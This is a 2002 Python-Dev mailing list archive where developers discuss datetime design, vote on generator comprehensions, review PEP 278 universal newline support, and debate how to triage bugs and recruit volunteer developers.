> 
> [MAL]
> > Just to let you know: you are slowly narrowing in on mxDateTime ;-)
> > (the naive type is pretty much what I have implemented as
> > DateTime object).
> 
> It's not *that* slowly -- this started less than a week ago <wink>.  But,
> yes, Guido's basic class is heading more in the direction of what mxDateTime
> started as.  By the time you had need of documenting things like
> 
>     Adding/Subtracting DateTime instances causes the result to
>     inherit the calendar of the left operand.
> 
> I think "naive time" got lost in the options.  Guido has in mind a pure
> "proleptic Gregorian" gimmick.  We'll see how long that lasts ...

mxDateTime was purely Gregorian until I realized that all historic
dates are in fact referenced using the Julian calendar.

Note that mxDateTime doesn't try to be clever about the switch 
from one to the other: it simply provides both versions via 
methods or constructors.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From Jack.Jansen@oratrix.com  Wed Mar  6 21:21:55 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Wed, 6 Mar 2002 22:21:55 +0100
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: <006e01c1c53b$f95f4fc0$52f7a4d8@othello>
Message-ID: <2F65BBB8-3148-11D6-A550-003065517236@oratrix.com>

On woensdag, maart 6, 2002, at 07:23 , Raymond Hettinger wrote:
> Here is the proposal in a nutshell:
> =A0
> =A0=A0=A0 If a list comprehension starts with a 'yield' keyword, then
> =A0=A0=A0 express the comprehension with a generator.=A0 For example:
>
> =A0=A0=A0=A0=A0=A0=A0 g =3D [yield (len(line),line)=A0 for line in =
file=A0 if=20
> len(line)>5]
> =A0=A0=A0=A0=A0=A0=A0 print g.next()
>
> =A0=A0=A0 This would be implemented as if it had been written:
>
> =A0=A0=A0=A0=A0=A0=A0 def __tempGenComp(self):
> =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 for line in file:
> =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 if len(line) > 5:
> =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 yield =
(len(line), line)
> =A0=A0=A0=A0=A0=A0=A0 g =3D __tempGenComp()
> =A0=A0=A0=A0=A0=A0=A0 print g.next()

+1.

Now if you would please comment (or vote +1 or -1) on PEP 278 -=20
Allowing foreign newlines in text input files and modules=20
(universal newline support, for short) then that's another PEP=20
that could move forward. The code has been sitting there with=20
very minor mods for more than 4 months now:-(
--
- Jack Jansen        <Jack.Jansen@oratrix.com>       =20
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution --=20
Emma Goldman -



From martin@v.loewis.de  Wed Mar  6 21:52:48 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 06 Mar 2002 22:52:48 +0100
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: <006e01c1c53b$f95f4fc0$52f7a4d8@othello>
References: <006e01c1c53b$f95f4fc0$52f7a4d8@othello>
Message-ID: <m3bse1uzwv.fsf@mira.informatik.hu-berlin.de>

"Raymond Hettinger" <python@rcn.com> writes:

> Before I send generator comprehension portion to Guido for
> pronouncement, I would like to get all of your votes +1 or -1 on
> just the part about Generator Comprehensions.

+0. I'd like to see an implementation strategy first. Notice that the
strategy for list comprehension does *not* apply: it is not lazy.

Regards,
Martin



From guido@python.org  Wed Mar  6 22:26:15 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 06 Mar 2002 17:26:15 -0500
Subject: [Python-Dev] Please review PEP 278 - Universal newline support
In-Reply-To: Your message of "Fri, 01 Mar 2002 16:32:01 +0100."
 <79B7FB61-2D29-11D6-8825-0030655234CE@oratrix.com>
References: <79B7FB61-2D29-11D6-8825-0030655234CE@oratrix.com>
Message-ID: <200203062226.g26MQF017954@pcp742651pcs.reston01.va.comcast.net>

[Jack]
> PEP 278 has been quietly sitting there with nothing much happening, 
> after some initial discussion with two or three people.
> 
> First question: would people please review it, and preferrably also
> test it (esp. windows and linux are platforms on which I would like
> to see it tested).

I skimmed it a few days ago, but didn't find the time to write a
response.  I think there were a lot of questions before you wrote the
PEP, that the PEP doesn't answer yet.  I don't even think that it
answers all the questions asked in the SF patch tracker.

> Second question: what happens next? How is the PEP accepted?

I expect that this PEP needs to be revised a number of times before
it's ready to be accepted.

Some questions to get you started:

- What on earth is a source() call?

- Why not support setting the delimiter for output files too?

- The 't' mode conflicts with the use of this mode on Windows to be an
  explicit way to invoke the default text translation mode.

- Why can't 't' be used together with '+'?  Text mode on Windows
  supports '+' AFAIK.

- How does this interact with xreadlines?  With "for line in file" ?

- Why settle for a compile-time option that's off by default?  That's
  asking for problems; people who turn it on will write code that uses
  the 't' mode and then find that it's not portable.

- You say that 't' mode is used by import.  What about parsing source
  code from a string?  What about Unicode strings?

- I think I need more clarification of your remark about locks.  If
  the implementation can be abused to create core dumps, I'm not for
  it.

Note that I'm playing devil's advocate here -- I know there are
reasonable answers to many of these questions.  But the PEP doesn't
give them.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Mar  6 22:43:55 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 06 Mar 2002 17:43:55 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Your message of "Wed, 06 Mar 2002 09:58:45 CST."
 <15494.15541.61955.283237@beluga.mojam.com>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
Message-ID: <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>

>     * Assign it to just about anybody so someone is notified.  The
>       exceptions here are that I don't think you should assign bugs
>       to one of the PythonLabs Five (Guido, Tim, Barry, Jeremy,
>       Fred).  Let one of the other developers decide if it warrants
>       their attention.

Please don't do this!  We tried this for a while, but bugs and patches
actually got lost this way because quite a few developers were
apparently on permanent leave and just let the bug/patch rot in SF.

Assigning to a random *active* developer may seem to work, because if
this developer isn't the right person, he will quickly do triage and
pass it to someone more appropriate -- or simply unassign it if
there's nobody appropriate.  But if the person is away (e.g. on
vacation or on an extended business trip), the other developers will
be less likely to pay attention to the bug than when it's not assigned
at all.

Playing games with the bug priority to get someone's attention is also
the wrong thing to do -- only the experienced developers should raise
the priority of a bug, based on its real importance; we have rules
like "everything priority 7 or higher must be fixed before the next
release".  (Lowering priority on submission is fine of course, if you
know you have a low priority bug report.)

> As the Python user base grows I think we do need a way to expand the
> developer pool without a lot of effort because the amount of
> feedback is always going to be proportional to the number of users.
> It's not immediately obvious to me how this should happen.  The
> first expansion from the original five to roughly the current crop
> of developers wasn't terribly difficult, because for the most part
> Guido et al either knew them personally or had a long enough
> exposure to them on the net to feel confident they would make
> positive contributions.  The overall community is large enough now
> that not all potentially good developers become visible easily.
> Requiring a somewhat rigorous vetting process will consume more time
> for the current developers and distract people from time working on
> the code base.  On the other hand, not requiring any vetting is
> likely to allow the occasional donkey into the corral with the
> horses.

I would certainly like to see more applications from people interested
in getting developer status, even if it means I'll have to do
semi-formal "interviews" or reference checks myself.  How can we
encourage the good developers that exist to help?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Wed Mar  6 23:08:09 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 6 Mar 2002 17:08:09 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15494.41305.915915.637479@beluga.mojam.com>

    >> * Assign it to just about anybody so someone is notified.  

    Guido> Please don't do this!  We tried this for a while, but bugs and
    Guido> patches actually got lost this way because quite a few developers
    Guido> were apparently on permanent leave and just let the bug/patch rot
    Guido> in SF.

Okay, that got a response!  If bugs are submitted without assignment, we
should probably establish a formal triage system.  It could work on a
rotating basis (weekly?).  Still, I think there has to be some way to work
through new bugs quickly to either get them advanced quickly or ejected from
the system.

As an "official" developer, I would find it useful to get a summary mailing
weekly of stuff that's assigned to me.  I have no particular other reason to
login to SF.

    Guido> Assigning to a random *active* developer may seem to work,
    Guido> because if this developer isn't the right person, he will quickly
    Guido> do triage and pass it to someone more appropriate -- or simply
    Guido> unassign it if there's nobody appropriate.  But if the person is
    Guido> away (e.g. on vacation or on an extended business trip), the
    Guido> other developers will be less likely to pay attention to the bug
    Guido> than when it's not assigned at all.

This suggests that it would be useful if SF allowed people to temporarily
inactivate themselves.  Is there such a feature?  (I didn't see anything,
though I was just able to change my timezone from US/Eastern to US/Central.
woo hoo!) 

    Guido> Playing games with the bug priority to get someone's attention is
    Guido> also the wrong thing to do -- only the experienced developers
    Guido> should raise the priority of a bug, based on its real importance;
    Guido> we have rules like "everything priority 7 or higher must be fixed
    Guido> before the next release".  (Lowering priority on submission is
    Guido> fine of course, if you know you have a low priority bug report.)

I don't believe I suggested this as a way to grab peoples' attention.

    >> As the Python user base grows I think we do need a way to expand the
    >> developer pool without a lot of effort because the amount of feedback
    >> is always going to be proportional to the number of users....

    Guido> I would certainly like to see more applications from people
    Guido> interested in getting developer status, even if it means I'll
    Guido> have to do semi-formal "interviews" or reference checks myself.
    Guido> How can we encourage the good developers that exist to help?

Well, you could always post an announcement on c.l.py.  I suspect you might
have an initial candidate in Jonathan Gardner.  ;-) Still, I sort of doubt
this is how other large open source projects work.  I can't imagine it's a
real productive use of your time or that of other gifted folks (Larry Wall,
Ben Wing, etc).

Skip


From gsw@agere.com  Thu Mar  7 00:06:44 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Wed, 6 Mar 2002 19:06:44 -0500
Subject: [Python-Dev] RE: Python-Dev digest, Vol 1 #1944 - 12 msgs
In-Reply-To: <E16ik9d-0003kj-00@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFGEGECHAA.gsw@agere.com>

Guido van Rossum <guido@python.org> wrote:
> I would certainly like to see more applications from people interested
> in getting developer status, even if it means I'll have to do
> semi-formal "interviews" or reference checks myself.  How can we
> encourage the good developers that exist to help?

Be careful what you ask for. Perhaps the developers you
really want are going to seek you out anyway.

As a new member, let me take a bit of time to introduce
myself:

I'm with a Lucent spinoff that makes communications ICs,
and write drivers and other software to support them
(not as simple as it sounds--these are BIG chips). But
I started off in Bell Labs. I decided that was what I
wanted to be when I got to meet the original group that
wrote Unix (I was 11 at the time). Times have changed at
AT&T (and now Lucent), though. But I digress...

My previous assignment involved writing development
tools for our DSPs. I was peripherally involved with a
GCC port for our DSP (a contract was in place when I
joined the group), and I ported the BSD libraries (we
wanted to avoid licensing issues with Gnu libs) and
wrote the rest of the development tools (assembler,
linker, archiver, and the like). I also got several
software patents for my work (boo, hiss!). We were
very involved with Tcl there, and used it extensively
with our integrated debugger/simulator/ICE tool.

After I joined my current group, I discovered Python.
I've been working with Python for a few years now, and
I believe projects like Python are really becoming the
technology leaders now. It's an exciting place to be.
I've made many Python converts (once they get past the
idea of using indents). [BTW, I had previous experience
with a research language called FIT that used indents
similarly. But again I digress...]

I joined this list after posting a few patches to the
Python threading modules. This all started after I got
my group to finally abandon Microsoft Developer Studio
for in-house work and switch to Cygwin (one step closer
to Linux!), only to discover that Cygwin Python didn't
support threads. :-(

I'm still in lurker mode on this list, but expect to
hear more from me in the future...

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-



From aahz@rahul.net  Thu Mar  7 00:24:06 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Wed, 6 Mar 2002 16:24:06 -0800 (PST)
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <200203051925.g25JPjS09438@pcp742651pcs.reston01.va.comcast.net> from "Guido van Rossum" at Mar 05, 2002 02:25:44 PM
Message-ID: <20020307002407.27CADE8C7@waltz.rahul.net>

Guido van Rossum wrote:
> 
> Naive time is what you see on your watch or your Palm organizer
> (apparently not on PocketPC or Windows/CE though, which are timezone
> aware).  A day is always 24 hours, and the clock always shows local
> time.  When the DST jump happens, you lose or win an hour but you do
> your best to pretend it didn't happen, by going to bed a little
> earlier or by partying a little longer (or any other activity that
> causes memory loss :-).
> 
> My Palm has no problem keeping track of appointments in different
> timezones: when I have a meeting in San Francisco at 11am, I enter it
> at 11am, and when I fly there, I move the Palm's clock three hours
> back.  Naive time adapts to local time -- time flies (or stands still)
> when you're in an airplane crossing timezones.

+1

After reading comp.risks for years, I've seen enough bug reports about
Outlook getting this wrong.  The main reason this works, though, is that
it still almost always takes more than an hour to cross a timezone.  ;-)
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From guido@python.org  Thu Mar  7 01:22:41 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 06 Mar 2002 20:22:41 -0500
Subject: [Python-Dev] RE: Python-Dev digest, Vol 1 #1944 - 12 msgs
In-Reply-To: Your message of "Wed, 06 Mar 2002 19:06:44 EST."
 <GBEGLOMMCLDACBPKDIHFGEGECHAA.gsw@agere.com>
References: <GBEGLOMMCLDACBPKDIHFGEGECHAA.gsw@agere.com>
Message-ID: <200203070122.g271Mfs18263@pcp742651pcs.reston01.va.comcast.net>

> Be careful what you ask for. Perhaps the developers you
> really want are going to seek you out anyway.

:-)

> As a new member, let me take a bit of time to introduce
> myself:
[...]

Nice to hear from you, Gerald.  If you want to help out, please
reviews some of the bugs and/or patches on SourceForge.  If you see a
bug and you know how to fix it, please submit a patch.  It's that
simple! :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar  7 01:31:09 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 06 Mar 2002 20:31:09 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Your message of "Wed, 06 Mar 2002 17:08:09 CST."
 <15494.41305.915915.637479@beluga.mojam.com>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
Message-ID: <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>

[Skip]
> Okay, that got a response!  If bugs are submitted without
> assignment, we should probably establish a formal triage system.  It
> could work on a rotating basis (weekly?).  Still, I think there has
> to be some way to work through new bugs quickly to either get them
> advanced quickly or ejected from the system.

Sorry, since we're all volunteers here, I don't see how a formal
rotation could work.  Since you're a volunteer, I don't feel
comfortable to tell you to do something.  We all know how to do triage
on bugs and patches, so I assume that if you have time, you'll do it
without me telling you so.  SourceForge has plenty of annotation
capability so there's very little risk of duplicate work.

> As an "official" developer, I would find it useful to get a summary
> mailing weekly of stuff that's assigned to me.  I have no particular
> other reason to login to SF.

When something's assigned to you, you get an email.  Isn't that
enough?  Jeremy has a script to send out reminders to everyone that he
used to run weekly, but it doesn't seem to have any effect on the
speed with which people look at bugs.

>     Guido> Assigning to a random *active* developer may seem to
>     Guido> work, because if this developer isn't the right person,
>     Guido> he will quickly do triage and pass it to someone more
>     Guido> appropriate -- or simply unassign it if there's nobody
>     Guido> appropriate.  But if the person is away (e.g. on vacation
>     Guido> or on an extended business trip), the other developers
>     Guido> will be less likely to pay attention to the bug than when
>     Guido> it's not assigned at all.
> 
> This suggests that it would be useful if SF allowed people to
> temporarily inactivate themselves.  Is there such a feature?  (I
> didn't see anything, though I was just able to change my timezone
> from US/Eastern to US/Central.  woo hoo!)

There's no such a thing.  I suppose you could remove yourself from the
list of developers, and later when you want back on, you can ask to be
added back.  But that only works for long absences (like several
months).

>     Guido> Playing games with the bug priority to get someone's
>     Guido> attention is also the wrong thing to do -- only the
>     Guido> experienced developers should raise the priority of a
>     Guido> bug, based on its real importance; we have rules like
>     Guido> "everything priority 7 or higher must be fixed before the
>     Guido> next release".  (Lowering priority on submission is fine
>     Guido> of course, if you know you have a low priority bug
>     Guido> report.)
> 
> I don't believe I suggested this as a way to grab peoples'
> attention.

No, but Jonathan Gardner did that, and really p*ssed me off (he was
complaining he didn't get a response to a bug he reported the previous
evening).

>     >> As the Python user base grows I think we do need a way to
>     >> expand the developer pool without a lot of effort because the
>     >> amount of feedback is always going to be proportional to the
>     >> number of users....
> 
>     Guido> I would certainly like to see more applications from
>     Guido> people interested in getting developer status, even if it
>     Guido> means I'll have to do semi-formal "interviews" or
>     Guido> reference checks myself.  How can we encourage the good
>     Guido> developers that exist to help?
> 
> Well, you could always post an announcement on c.l.py.  I suspect
> you might have an initial candidate in Jonathan Gardner.  ;-)

Given the fate of his bug report, I think he may be a little green. :-(

> Still, I sort of doubt this is how other large open source projects
> work.  I can't imagine it's a real productive use of your time or
> that of other gifted folks (Larry Wall, Ben Wing, etc).

I'll do anything I can to get more people to volunteer.  But in the
past volunteers have always offered themselves, so I have no idea what
would be a good strategy to attract more volunteers besides just
keeping doing what I'm already doing...

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Thu Mar  7 01:51:01 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 6 Mar 2002 19:51:01 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15494.51077.292219.192496@12-248-41-177.client.attbi.com>

    Guido> [Skip]
    >> ... formal triage system ...

    Guido> Sorry, since we're all volunteers here, I don't see how a formal
    Guido> rotation could work.  Since you're a volunteer, I don't feel
    Guido> comfortable to tell you to do something.  

I wasn't thinking about it quite like that.  I was thinking more along the
lines of a subset of people would volunteer to do the triage, passing it off
between themselves at the rotation boundaries.  That's more-or-less how
Cameron Laird does it for the weekly Python URL stuff.

    >> As an "official" developer, I would find it useful to get a summary
    >> mailing weekly of stuff that's assigned to me.  I have no particular
    >> other reason to login to SF.

    Guido> When something's assigned to you, you get an email.  Isn't that
    Guido> enough?

Well, like most people, I need occasional re-reminding. ;-)

    >> This suggests that it would be useful if SF allowed people to
    >> temporarily inactivate themselves.  Is there such a feature?  (I
    >> didn't see anything, though I was just able to change my timezone
    >> from US/Eastern to US/Central.  woo hoo!)

    Guido> There's no such a thing.  I suppose you could remove yourself
    Guido> from the list of developers, and later when you want back on, you
    Guido> can ask to be added back.  But that only works for long absences
    Guido> (like several months).

Yeah, I was afraid of that.

    Guido> Playing games with the bug priority to get someone's
    Guido> attention is also the wrong thing to do ...

    >> I don't believe I suggested this as a way to grab peoples' attention.

    Guido> No, but Jonathan Gardner did that, and really p*ssed me off (he
    Guido> was complaining he didn't get a response to a bug he reported the
    Guido> previous evening).

I wasn't aware of that.  He obviously didn't raise the priority of a bug
that was assigned to me...

    Guido> I would certainly like to see more applications from people
    Guido> interested in getting developer status, even if it means I'll
    Guido> have to do semi-formal "interviews" or reference checks myself.
    Guido> How can we encourage the good developers that exist to help?

I suggest you post an announcement to c.l.py.  I don't know where best to
have them reply.  Sending mail to guido@python.org would clearly not be the
right place.  Python-dev wouldn't normally be the right place for this
either, but that's where all the people qualified to do the reference checks
hang out.

    >> Still, I sort of doubt this is how other large open source projects
    >> work.  I can't imagine it's a real productive use of your time or
    >> that of other gifted folks (Larry Wall, Ben Wing, etc).

    Guido> I'll do anything I can to get more people to volunteer.  

Do you think if the PSF sold a Guido swimsuit calendar it would help?  ;-)

be-careful-when-you-say-"anything"-ly, y'rs,

Skip


From guido@python.org  Thu Mar  7 02:24:16 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 06 Mar 2002 21:24:16 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Your message of "Wed, 06 Mar 2002 19:51:01 CST."
 <15494.51077.292219.192496@12-248-41-177.client.attbi.com>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <15494.41305.915915.637479@beluga.mojam.com> <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <15494.51077.292219.192496@12-248-41-177.client.attbi.com>
Message-ID: <200203070224.g272OGv18565@pcp742651pcs.reston01.va.comcast.net>

> I wasn't thinking about it quite like that.  I was thinking more
> along the lines of a subset of people would volunteer to do the
> triage, passing it off between themselves at the rotation
> boundaries.  That's more-or-less how Cameron Laird does it for the
> weekly Python URL stuff.

Maybe you'd like to help organize this?

> I suggest you post an announcement to c.l.py.  I don't know where
> best to have them reply.  Sending mail to guido@python.org would
> clearly not be the right place.  Python-dev wouldn't normally be the
> right place for this either, but that's where all the people
> qualified to do the reference checks hang out.

I'd like to delegate this.  Maybe you can send out an announcement and
read through the applications, forwarding only the ones that look good
to me.  You may have to think a bit about what to write in the
announcement, but please do it without asking me -- I need to delegate
more!

>     Guido> I'll do anything I can to get more people to volunteer.  
> 
> Do you think if the PSF sold a Guido swimsuit calendar it would help?  ;-)

I've seen myself in a bathing suit, and I'm pretty sure it wouldn't
help...

But if you were to convince me that it really *would* help, I wouldn't
have any problem with it. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Thu Mar  7 02:31:04 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 06 Mar 2002 21:31:04 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more
 quickly
In-Reply-To: <15494.15541.61955.283237@beluga.mojam.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEPKOBAA.tim.one@comcast.net>

[Skip Montanaro]
> ...
> The first expansion from the original five to roughly the current
> crop of developers wasn't terribly difficult, because for the most
> part Guido et al either knew them personally ...

I have a more depressing reason for that, but that's the way reality works
sometimes:  most of the people with CVS write access ("Python developers")
are wholly inactive in any given month, and indeed some have never done a
checkin, reviewed a patch, or even commented on a bug.  Managing lots of
developers is easy when "developer" is just a word on a web page <wink>.

I'd rather we had an opposite problem, but I'm afraid capable volunteers who
can make time enough-- and care enough --to do this oft-tedious work are
going to remain rare.  In the meantime, if we could just get each of the
current developers to close one bug per year, we could close 3,900 bugs over
the next century <wink>.



From mhammond@skippinet.com.au  Thu Mar  7 04:38:17 2002
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Thu, 7 Mar 2002 15:38:17 +1100
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <15494.15541.61955.283237@beluga.mojam.com>
Message-ID: <LCEPIIGDJPKCOIHOBJEPIEPPFDAA.mhammond@skippinet.com.au>

[Skip]
> As the Python user base grows I think we do need a way to expand the
> developer pool without a lot of effort because the amount of feedback is
> always going to be proportional to the number of users.

Let me first get the most benign comments out of the way first: I hate
sourceforge's bug manager!!  I have fallen in love with bugzilla, as it
works oh-so well.  I know it is too easy to blame the tools, but having a
discrete CC list per-bug really works well.  At the moment I have 129 unread
messages in my python-bugs folder - only because I wiped it out a week or so
ago.

However, I think the real problem lies in the basic fact that developers
tend to scratch their itches.  Python is mature enough that many of the bugs
are obscure and don't really affect anyone in the main Python community.  A
case in point - I have submitted and steered through checkin 3 Mozilla bugs
in the last week - all stupid bugs related to newsgroup threading that I had
to live with every day.  I couldn't take it any more :)  There are no such
Python bugs assigned to me or rotting.

Secondly, as Guido said, more people is not the simple answer.  Often you
simply need to mail around and find a "champion" in the developer list.
Find someone who is kind-hearted (ie, everyone listed as developers :) who
you can convince to go through the motions.  Convince them that it scratches
*your* itch, and you will still pique their interest.  In bugzilla you would
rope in others by adding them to the CC list and pleading for their help :)

In Mozilla, the formal process helps.  To quote Martin:
"""
I think people should be encouraged to comment on bugs and
patches. I'll recognize an educated comment when I see it. E.g. if
there is a patch where the first comment says "change this for that
reason", the second comment says "what about documentation", and the
third is "ok, I've implemented all these requirements", then I'm
willing to apply the patch without any deeper analysis.
"""

This is really all that Mozilla does, and maybe is worth formalizing for us.
Our process could state:

* A person with CVS checkin privileges will be assigned to the bug, and is
ultimately the "approver" of the patch.  They need not be intimately
familiar with the code, but must satisfy themselves that people intimately
familiar with the code think it is OK, and indeed it is "Pythonic".  They
can ask as many people as they like to review the patch, or review the scope
of the patch.

* All patches must be reviewed by someone "credible".  "credible" is fuzzy,
and up to the ultimate approver, but must be someone the approver would
trust given the nature of the patch.  eg, mhammond may be credible for win32
specific patches, but not linux specific patches!

* It is *not* the responsibility of the approver to chase up reviewers.
Whoever wants this patch checked in can chase up reviewers.  Occasionally
this will be the approver, but not often.  The point here is: don't bother
harassing whoever is assigned the bug when the bug does not have any
reviews.

* The approver then performs the actual checkin, running the tests etc and
coping with the fallout.  If the approver can not be stirred into action,
then it is acceptable to mail python-dev pleading for someone to take this
most excellent, heavily reviewed patch on for the good of all mankind.

In the example that spawned this thread:  Jonathon could mail me saying
"could you please have a look at bug xxx.  It has been reviewed by Skip and
isn't really that deep".  I would say "sure", and have a cursory look at the
bug, noting Skip's comments.  Worst case I would ask a few question to try
and make me look clever, fail miserably, and apply the patch locally.  I
would build Linux and Windows, and run the test suite.  Then just check it
in.

This is almost a "mozilla-light" process.  Their process is at
http://www.mozilla.org/hacking/ and it works well for them.  We don't need
it all, but probably could use some.

Mark.



From jason@jorendorff.com  Thu Mar  7 05:38:56 2002
From: jason@jorendorff.com (Jason Orendorff)
Date: Wed, 6 Mar 2002 23:38:56 -0600
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: <006e01c1c53b$f95f4fc0$52f7a4d8@othello>
Message-ID: <HFEKILOLEFEFMKAECNDLIEIDDHAA.jason@jorendorff.com>

> Before I send generator comprehension portion to Guido for
> pronouncement, I would like to get all of your votes +1 or -1
> on just the part about Generator Comprehensions.

-1     but not for a Good Reason - it just doesn't grab me.

If a patch shows up implementing this, I could change my mind.

## Jason Orendorff    http://www.jorendorff.com/


From jason@jorendorff.com  Thu Mar  7 06:07:33 2002
From: jason@jorendorff.com (Jason Orendorff)
Date: Thu, 7 Mar 2002 00:07:33 -0600
Subject: [Python-Dev] datetime +/- scalars (int, long, float)?
In-Reply-To: <200203051925.g25JPjS09438@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <HFEKILOLEFEFMKAECNDLEEIEDHAA.jason@jorendorff.com>

Guido van Rossum wrote:
> Maybe we need yet another datetime type that measures "wall
> clock time"???
>
> Gosh, time computations are full of surprises, even of you disregard
> the Julian calendar and leap seconds. :-(

It's good to hear you say that.  Your opinion earlier -- which I
wanted to agree with, but couldn't see how -- seemed to be "This is
so *EASY*, why can't anybody just get it done the way I want??!"

:)


Elsewhere, Guido van Rossum wrote:
> I'm very tempted to put all the smarts in conversions though: you can
> take a naive datetime object, interpret it in a particular timezone
> using a given DST ruleset (local time and UTC being two common cases)
> and convert it to a timestamp, which has different semantics, but can
> be converted back to naive time by interpreting according to some
> timezone.

Okay:  Dumb objects, smart conversions.

I like this a lot.  If the conversions are even minimally flexible,
better timezone support can be added later.  Maybe even calendars.

  timestamp <---timezone/calendar-aware conversion---> datetime
 (no TZ or DST)                                     (broken-down;
                                             with TZ; maybe not DST)

Casual users would only ever see (or care about) the datetime type
and its year/month/day/etc. fields.  By default, the broken-down
time is determined using localtime().

Sometimes timestamps are appropriate, sometimes datetimes.
They serve different programming goals.  Both are small in terms
of storage; each supports a different sort of arithmetic.
Both have fast __cmp__ operations.

For simplicity, the timestamp type could just be "float" (the
type returned by time.time()).  Or it could be something nicer
that has (naively) broken-down fields of its own.

I've got pseudocode if anyone is interested.  :|

## Jason Orendorff    http://www.jorendorff.com/


From ping@lfw.org  Thu Mar  7 06:38:29 2002
From: ping@lfw.org (Ka-Ping Yee)
Date: Thu, 7 Mar 2002 00:38:29 -0600 (CST)
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: <006e01c1c53b$f95f4fc0$52f7a4d8@othello>
Message-ID: <Pine.LNX.4.33.0203070036230.32677-100000@server1.lfw.org>

On Wed, 6 Mar 2002, Raymond Hettinger wrote:
> Before I send generator comprehension portion to Guido for pronouncement,
> I would like to get all of your votes +1 or -1 on just the part about
> Generator Comprehensions.

I am very happy with the things you have proposed in this PEP.  I feel
quite positive about generator comprehensions and have no reservations.
So a +1 on that.

I also think there is a lot of power to be gained from generator
argument passing; i agree that the exception issue needs to be resolved
and you have suggested a fine solution; and the extra built-ins
(really 'indexed' in particular) i have wanted for a long time.

I have less of an opinion on restartability since i have not yet had
to really run into that issue.  It seems reasonable that it might be
good idea, though perhaps YAGNI will apply here until i experience
the need for it first-hand.


-- ?!ng



From martin@v.loewis.de  Thu Mar  7 07:03:32 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 07 Mar 2002 08:03:32 +0100
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
